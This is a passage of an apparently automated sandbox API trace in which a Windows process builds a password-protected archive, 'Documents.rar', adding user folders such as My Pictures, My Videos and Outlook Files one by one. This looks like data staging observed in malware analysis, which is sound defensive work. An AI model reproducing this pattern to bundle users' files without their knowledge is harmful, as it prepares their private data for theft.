lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0084.497] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0084.497] GetFocus () returned 0x1031c [0084.497] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0084.498] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.499] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288be0 [0084.499] SetFilePointer (in: hFile=0x32c, lDistanceToMove=40, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288c08 [0084.499] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.499] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.499] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.499] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.499] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657248, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288be0 [0084.499] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288be0 [0084.499] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4e0 [0084.499] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc90 [0084.499] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.499] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ca80 [0084.499] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.499] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc90 | out: hHeap=0x1162e7c0000) returned 1 [0084.499] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c4e0, Size=0x48) returned 0x1162e888810 [0084.499] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e888813*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e888813*, lpNumberOfBytesWritten=0x141a0d8510*=0x28, lpOverlapped=0x0) returned 1 [0084.499] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ca80 | out: hHeap=0x1162e7c0000) returned 1 [0084.499] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0084.499] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c08 [0084.500] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.500] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.500] FindFirstFileW (in: lpFileName="My Pictures", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.500] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.500] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.500] GetTickCount () returned 0x2aeb4 [0084.500] GetLastError () returned 0x0 [0084.500] SetLastError (dwErrCode=0x0) [0084.500] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0084.500] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0084.500] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0084.500] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0084.501] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0084.501] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.501] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.501] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.502] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.502] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="My Music") returned 8 [0084.502] SetWindowTextW (hWnd=0x10300, lpString="My Pictures") returned 1 [0084.502] GetTickCount () returned 0x2aeb4 [0084.502] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.502] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c840 [0084.502] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5d0 [0084.502] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0084.502] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.502] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.502] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.502] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c840, Size=0x48) returned 0x1162e888680 [0084.502] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c600 | out: hHeap=0x1162e7c0000) returned 1 [0084.502] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0084.502] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.502] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.502] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288c08 [0084.502] SetFilePointer (in: hFile=0x32c, lDistanceToMove=43, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288c33 [0084.502] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.503] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.503] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.503] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.503] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657288, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c08 [0084.503] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288c08 [0084.503] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c780 [0084.503] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cba0 [0084.503] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4b0 [0084.503] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.503] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c4b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.503] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cba0 | out: hHeap=0x1162e7c0000) returned 1 [0084.503] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c780, Size=0x48) returned 0x1162e888810 [0084.503] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e888813*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e888813*, lpNumberOfBytesWritten=0x141a0d8510*=0x2b, lpOverlapped=0x0) returned 1 [0084.503] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.503] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0084.503] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c33 [0084.503] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.503] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.503] FindFirstFileW (in: lpFileName="My Shapes", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.503] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.503] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.504] GetTickCount () returned 0x2aeb4 [0084.504] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.504] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.504] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.504] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.504] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="My Pictures") returned 11 [0084.504] SetWindowTextW (hWnd=0x10300, lpString="My Shapes") returned 1 [0084.504] GetTickCount () returned 0x2aeb4 [0084.504] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.504] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c900 [0084.504] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c300 [0084.504] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.504] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.504] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.504] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c300 | out: hHeap=0x1162e7c0000) returned 1 [0084.504] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c900, Size=0x48) returned 0x1162e888ea0 [0084.504] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c480 | out: hHeap=0x1162e7c0000) returned 1 [0084.504] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.504] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.504] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.505] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288c33 [0084.505] SetFilePointer (in: hFile=0x32c, lDistanceToMove=40, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288c5b [0084.505] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.505] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.505] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.505] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.505] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657331, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c33 [0084.505] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288c33 [0084.505] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c900 [0084.505] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8d0 [0084.505] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6c0 [0084.505] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c960 [0084.505] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6c0 | out: hHeap=0x1162e7c0000) returned 1 [0084.505] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c8d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.505] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c900, Size=0x48) returned 0x1162e888ea0 [0084.505] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e888ea3*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e888ea3*, lpNumberOfBytesWritten=0x141a0d8510*=0x28, lpOverlapped=0x0) returned 1 [0084.505] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c960 | out: hHeap=0x1162e7c0000) returned 1 [0084.505] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.505] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c5b [0084.505] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.505] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.506] FindFirstFileW (in: lpFileName="My Videos", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d820 [0084.506] FindClose (in: hFindFile=0x1163204d820 | out: hFindFile=0x1163204d820) returned 1 [0084.506] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.506] GetTickCount () returned 0x2aeb4 [0084.506] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.506] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.506] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.506] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.506] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="My Shapes") returned 9 [0084.506] SetWindowTextW (hWnd=0x10300, lpString="My Videos") returned 1 [0084.506] GetTickCount () returned 0x2aeb4 [0084.506] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.506] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c750 [0084.506] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cae0 [0084.506] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c990 [0084.507] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0084.507] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c990 | out: hHeap=0x1162e7c0000) returned 1 [0084.507] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cae0 | out: hHeap=0x1162e7c0000) returned 1 [0084.507] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c750, Size=0x48) returned 0x1162e888ea0 [0084.507] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c720 | out: hHeap=0x1162e7c0000) returned 1 [0084.507] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.507] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.507] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.507] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288c5b [0084.507] SetFilePointer (in: hFile=0x32c, lDistanceToMove=41, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288c84 [0084.507] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.507] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.507] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.507] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.507] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2657371, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c5b [0084.507] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288c5b [0084.507] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd50 [0084.507] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c570 [0084.507] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2d0 [0084.507] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.507] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.507] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c570 | out: hHeap=0x1162e7c0000) returned 1 [0084.507] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cd50, Size=0x48) returned 0x1162e8893a0 [0084.507] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e8893a3*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e8893a3*, lpNumberOfBytesWritten=0x141a0d8510*=0x29, lpOverlapped=0x0) returned 1 [0084.508] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c480 | out: hHeap=0x1162e7c0000) returned 1 [0084.508] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.508] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288c84 [0084.508] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.508] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.508] FindFirstFileW (in: lpFileName="Outlook Files", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.508] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.508] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.508] GetTickCount () returned 0x2aeb4 [0084.508] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.508] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.508] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.508] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.508] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="My Videos") returned 9 [0084.508] SetWindowTextW (hWnd=0x10300, lpString="Outlook Files") returned 1 [0084.509] GetTickCount () returned 0x2aeb4 [0084.509] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c990 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c750 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.509] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc30 [0084.509] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c480 | out: hHeap=0x1162e7c0000) returned 1 [0084.509] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c750 | out: hHeap=0x1162e7c0000) returned 1 [0084.509] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c990, Size=0x48) returned 0x1162e8893a0 [0084.509] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc30 | out: hHeap=0x1162e7c0000) returned 1 [0084.509] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.509] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.509] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.509] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288c84 [0084.509] SetFilePointer (in: hFile=0x32c, lDistanceToMove=44, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288cb0 [0084.509] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.509] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.509] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.509] 